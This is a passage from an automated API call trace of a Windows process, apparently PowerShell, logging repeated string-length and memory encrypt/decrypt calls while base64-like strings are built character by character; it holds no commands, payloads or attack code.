(param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介ຑ腹×敝\뇞ᴹ⨮⊆) returned 0x18 [0214.462] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0214.462] SysStringLen (param_1="BsjdWUlkqaKEe0CajF鑼ꚨ铔췖쒞菰") returned 0x18 [0214.462] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0214.462] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介గꁹ먿쫼໣㔃㷑覞") returned 0x18 [0214.462] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介గꁹ먿쫼໣㔃㷑覞") returned 0x18 [0214.462] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0214.462] SysStringLen (param_1="BsjdWUlkqaKEe0CajFpꚨ铔췖쒞菰") returned 0x18 [0214.462] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0214.463] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介蒭窟ᴠj惥蒤趆ʩ") returned 0x18 [0214.463] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介蒭窟ᴠj惥蒤趆ʩ") returned 0x18 [0214.463] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0214.463] SysStringLen (param_1="BsjdWUlkqaKEe0CajFpO铔췖쒞菰") returned 0x18 [0214.463] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0214.463] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介ꋬ䵾䃯㒈ⶌ㎙ヹᑗ") returned 0x18 [0214.463] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介ꋬ䵾䃯㒈ⶌ㎙ヹᑗ") returned 0x18 [0214.463] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0214.463] SysStringLen (param_1="BsjdWUlkqaKEe0CajFpO2췖쒞菰") returned 0x18 [0214.463] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0214.463] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介뇀㳸믘傧쀷✡鞷举") returned 0x18 [0214.463] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介뇀㳸믘傧쀷✡鞷举") returned 0x18 [0214.463] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0214.463] SysStringLen (param_1="BsjdWUlkqaKEe0CajFpO2Q쒞菰") returned 0x18 [0214.464] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0214.464] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介劣ฅ䞣ꘈ넇藣\蓝≠) returned 0x18 [0214.464] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介劣ฅ䞣ꘈ넇藣\蓝≠) returned 0x18 [0214.464] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0214.464] SysStringLen (param_1="BsjdWUlkqaKEe0CajFpO2QH菰") returned 0x18 [0214.464] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0214.464] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介䐍ꎝ瘲䅅瘎빟틩") returned 0x18 [0214.464] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介䐍ꎝ瘲䅅瘎빟틩") returned 0x18 [0214.464] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0214.464] SysStringLen (param_1="BsjdWUlkqaKEe0CajFpO2QH/") returned 0x18 [0214.464] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0214.465] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴") returned 0x18 [0214.466] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴") returned 0x18 [0214.466] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴") returned 0x18 [0214.466] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴") returned 0x20 [0214.466] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0214.466] SysStringLen (param_1="BsjdWUlkqaKEe0CajFpO2QH/h嚰㼧㍁쇰䈐彝鈏") returned 0x20 [0214.467] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0214.467] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴⿳甜믊饢巹쿰ോ") returned 0x20 [0214.467] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴⿳甜믊饢巹쿰ോ") returned 0x20 [0214.467] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0214.467] SysStringLen (param_1="BsjdWUlkqaKEe0CajFpO2QH/hn㼧㍁쇰䈐彝鈏") returned 0x20 [0214.467] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0214.467] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴爤䉦隿ㅶ野\裞≗) returned 0x20 [0214.467] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴爤䉦隿ㅶ野\裞≗) returned 0x20 [0214.467] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0214.467] SysStringLen (param_1="BsjdWUlkqaKEe0CajFpO2QH/hnb㍁쇰䈐彝鈏") returned 0x20 [0214.467] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0214.467] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴བྷ쉸캹즪Ԡ悔棰") returned 0x20 [0214.467] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴བྷ쉸캹즪Ԡ悔棰") returned 0x20 [0214.467] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0214.468] SysStringLen (param_1="BsjdWUlkqaKEe0CajFpO2QH/hnb1쇰䈐彝鈏") returned 0x20 [0214.468] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0214.468] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴횞麊㧋軎ꦦ鵌❘齙") returned 0x20 [0214.468] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴횞麊㧋軎ꦦ鵌❘齙") returned 0x20 [0214.468] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0214.468] SysStringLen (param_1="BsjdWUlkqaKEe0CajFpO2QH/hnb1/䈐彝鈏") returned 0x20 [0214.468] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0214.468] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴졆颭\緝὜卜訠⊢) returned 0x20 [0214.468] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴졆颭\緝὜卜訠⊢) returned 0x20 [0214.468] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0214.468] SysStringLen (param_1="BsjdWUlkqaKEe0CajFpO2QH/hnb1/U彝鈏") returned 0x20 [0214.468] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0214.469] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴㢧≦⮁톉뫳轢䋧") returned 0x20 [0214.469] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴㢧≦⮁톉뫳轢䋧") returned 0x20 [0214.469] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0214.469] SysStringLen (param_1="BsjdWUlkqaKEe0CajFpO2QH/hnb1/Uh鈏") returned 0x20 [0214.469] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0214.469] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴㇩獖\쯛愚⫅囵≶) returned 0x20 [0214.469] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴㇩獖\쯛愚⫅囵≶) returned 0x20 [0214.469] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0214.469] SysStringLen (param_1="BsjdWUlkqaKEe0CajFpO2QH/hnb1/Uh3") returned 0x20 [0214.469] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0214.469] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴읢頣\矝⇫頛틤⊳) returned 0x20 [0214.470] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴읢頣\矝⇫頛틤⊳) returned 0x20 [0214.470] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴읢頣\矝⇫頛틤⊳) returned 0x20 [0214.470] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴읢頣\矝⇫頛틤⊳) returned 0x28 [0214.470] SystemFunction041 (in: Memory=0x5c91e84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e84) returned 0x0 [0214.470] SysStringLen (param_1="BsjdWUlkqaKEe0CajFpO2QH/hnb1/Uh3Bꂶꪪ冹郎滧鞔绩") returned 0x28 [0214.470] SystemFunction040 (in: Memory=0x5c91e84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e84) returned 0x0 [0214.470] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴읢頣\矝⇫頛틤੄ꌴবꖍ竓狮⋷) returned 0x28 [0214.470] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴읢頣\矝⇫頛틤੄ꌴবꖍ竓狮⋷) returned 0x28 [0214.470] SystemFunction041 (in: Memory=0x5c91e84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e84) returned 0x0 [0214.471] SysStringLen (param_1="BsjdWUlkqaKEe0CajFpO2QH/hnb1/Uh3BBꪪ冹郎滧鞔绩") returned 0x28 [0214.471] SystemFunction040 (in: Memory=0x5c91e84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e84) returned 0x0 [0214.471] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴읢頣\矝⇫頛틤뎳턒覀襍刔회䲕谖∔) returned 0x28 [0214.471] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴읢頣\矝⇫頛틤뎳턒覀襍刔회䲕谖∔) returned 0x28 [0214.471] SystemFunction041 (in: Memory=0x5c91e84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e84) returned 0x0 [0214.471] SysStringLen (param_1="BsjdWUlkqaKEe0CajFpO2QH/hnb1/Uh3BBM冹郎滧鞔绩") returned 0x28 [0214.471] SystemFunction040 (in: Memory=0x5c91e84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e84) returned 0x0 [0214.471] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴읢頣\矝⇫頛틤慾䊡٥Ꭵ﷣ଡ଼⋺) returned 0x28 [0214.471] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴읢頣\矝⇫頛틤慾䊡٥Ꭵ﷣ଡ଼⋺) returned 0x28 [0214.471] SystemFunction041 (in: Memory=0x5c91e84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e84) returned 0x0 [0214.471] SysStringLen (param_1="BsjdWUlkqaKEe0CajFpO2QH/hnb1/Uh3BBMj郎滧鞔绩") returned 0x28 [0214.471] SystemFunction040 (in: Memory=0x5c91e84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e84) returned 0x0 [0214.472] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴읢頣\矝⇫頛틤뎳ṛᾅ굤識꟔语∙) returned 0x28 [0214.472] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴읢頣\矝⇫頛틤뎳ṛᾅ굤識꟔语∙) returned 0x28 [0214.472] SystemFunction041 (in: Memory=0x5c91e84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e84) returned 0x0 [0214.472] SysStringLen (param_1="BsjdWUlkqaKEe0CajFpO2QH/hnb1/Uh3BBMjm滧鞔绩") returned 0x28 [0214.472] SystemFunction040 (in: Memory=0x5c91e84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e84) returned 0x0 [0214.472] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴읢頣\矝⇫頛틤잳槇짽ﭳ㢃郧鼡∽) returned 0x28 [0214.472] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴읢頣\矝⇫頛틤잳槇짽ﭳ㢃郧鼡∽) returned 0x28 [0214.472] SystemFunction041 (in: Memory=0x5c91e84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e84) returned 0x0 [0214.472] SysStringLen (param_1="BsjdWUlkqaKEe0CajFpO2QH/hnb1/Uh3BBMjmg鞔绩") returned 0x28 [0214.472] SystemFunction040 (in: Memory=0x5c91e84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e84) returned 0x0 [0214.472] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴읢頣\矝⇫頛틤ﵶ蒎ꚡ豣ᮄ鮨㩠∝) returned 0x28 [0214.472] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴읢頣\矝⇫頛틤ﵶ蒎ꚡ豣ᮄ鮨㩠∝) returned 0x28 [0214.472] SystemFunction041 (in: Memory=0x5c91e84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e84) returned 0x0 [0214.473] SysStringLen (param_1="BsjdWUlkqaKEe0CajFpO2QH/hnb1/Uh3BBMjmgQ绩") returned 0x28 [0214.473] SystemFunction040 (in: Memory=0x5c91e84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e84) returned 0x0 [0214.473] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴읢頣\矝⇫頛틤蚳砋杨䴇祦傏ゲș⋾) returned 0x28 [0214.473] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴읢頣\矝⇫頛틤蚳砋杨䴇祦傏ゲș⋾) returned 0x28 [0214.473] SystemFunction041 (in: Memory=0x5c91e84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e84) returned 0x0 [0214.473] SysStringLen (param_1="BsjdWUlkqaKEe0CajFpO2QH/hnb1/Uh3BBMjmgQO") returned 0x28 [0214.473] SystemFunction040 (in: Memory=0x5c91e84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e84) returned 0x0 [0214.473] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴읢頣\矝⇫頛틤ǝ阶Ɠ䂴韤뿑꾘≛) returned 0x28 [0214.474] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴읢頣\矝⇫頛틤ǝ阶Ɠ䂴韤뿑꾘≛) returned 0x28 [0214.474] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴읢頣\矝⇫頛틤ǝ阶Ɠ䂴韤뿑꾘≛) returned 0x28 [0214.474] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴읢頣\矝⇫頛틤ǝ阶Ɠ䂴韤뿑꾘≛) returned 0x30 [0214.474] SystemFunction041 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0214.474] SysStringLen (param_1="BsjdWUlkqaKEe0CajFpO2QH/hnb1/Uh3BBMjmgQO3ດ໏澯柨隔") returned 0x30 [0214.474] SystemFunction040 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0214.475] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴읢頣\矝⇫頛틤ǝ阶Ɠ䂴韤뿑꾘ś睖ⳟ鉔궔펀轒∋) returned 0x30 [0214.475] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴읢頣\矝⇫頛틤ǝ阶Ɠ䂴韤뿑꾘ś睖ⳟ鉔궔펀轒∋) returned 0x30 [0214.475] SystemFunction041 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0214.475] SysStringLen (param_1="BsjdWUlkqaKEe0CajFpO2QH/hnb1/Uh3BBMjmgQO3j໏澯柨隔") returned 0x30 [0214.475] SystemFunction040 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0214.475] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴읢頣\矝⇫頛틤ǝ阶Ɠ䂴韤뿑꾘ṛ뒘앯痕ᔬ툯죙㖿⋥) returned 0x30 [0214.475] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴읢頣\矝⇫頛틤ǝ阶Ɠ䂴韤뿑꾘ṛ뒘앯痕ᔬ툯죙㖿⋥) returned 0x30 [0214.475] SystemFunction041 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0214.476] SysStringLen (param_1="BsjdWUlkqaKEe0CajFpO2QH/hnb1/Uh3BBMjmgQO3jg໏澯柨隔") returned 0x30 [0214.476] SystemFunction040 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0214.476] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴읢頣\矝⇫頛틤ǝ阶Ɠ䂴韤뿑꾘͛먰뚶톹좥≇) returned 0x30 [0214.476] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介沑渥䡎規䨟Ⱞ弴읢頣\矝⇫頛틤ǝ阶Ɠ䂴韤뿑꾘͛먰뚶톹좥≇) returned 0x30 [0214.476] SystemFunction041 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0214.476] SysStringLen (param_1="BsjdWUlkqaKEe0CajFpO2QH/hnb1/Uh3BBMjmgQO3jg=澯柨隔") returned 0x30 [0214.476] SystemFunction040 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0214.476] EtwEventActivityIdControl () returned 0x0 [0214.476] EtwEventActivityIdControl () returned 0x0 [0214.476] EtwEventActivityIdControl () returned 0x0 [0214.477] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e690, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0214.478] EtwEventActivityIdControl () returned 0x0 [0214.478] EtwEventActivityIdControl () returned 0x0 [0214.478] EtwEventActivityIdControl () returned 0x0 [0214.478] SysStringLen (param_1="") returned 0x8 [0214.479] SysStringLen (param_1="N") returned 0x8 [0214.479] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.479] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0214.479] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0214.479] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.479] SysStringLen (param_1="ND") returned 0x8 [0214.479] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.479] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0214.479] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0214.479] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.479] SysStringLen (param_1="NDZ") returned 0x8 [0214.479] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.479] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0214.480] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0214.480] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.480] SysStringLen (param_1="NDZl") returned 0x8 [0214.480] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.480] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0214.480] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0214.480] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.480] SysStringLen (param_1="NDZlO") returned 0x8 [0214.480] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.480] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0214.480] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0214.480] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.480] SysStringLen (param_1="NDZlOD") returned 0x8 [0214.481] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.481] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0214.481] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0214.481] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.481] SysStringLen (param_1="NDZlODR") returned 0x8 [0214.481] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.481] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0214.516] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0214.516] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.517] SysStringLen (param_1="NDZlODRm") returned 0x8 [0214.517] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.517] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0214.517] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0214.518] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0214.518] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0214.518] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.518] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0214.518] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.519] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0214.519] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0214.519] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.519] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0214.519] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.519] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0214.519] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0214.519] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.519] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0214.519] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.519] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0214.519] SysStringLen 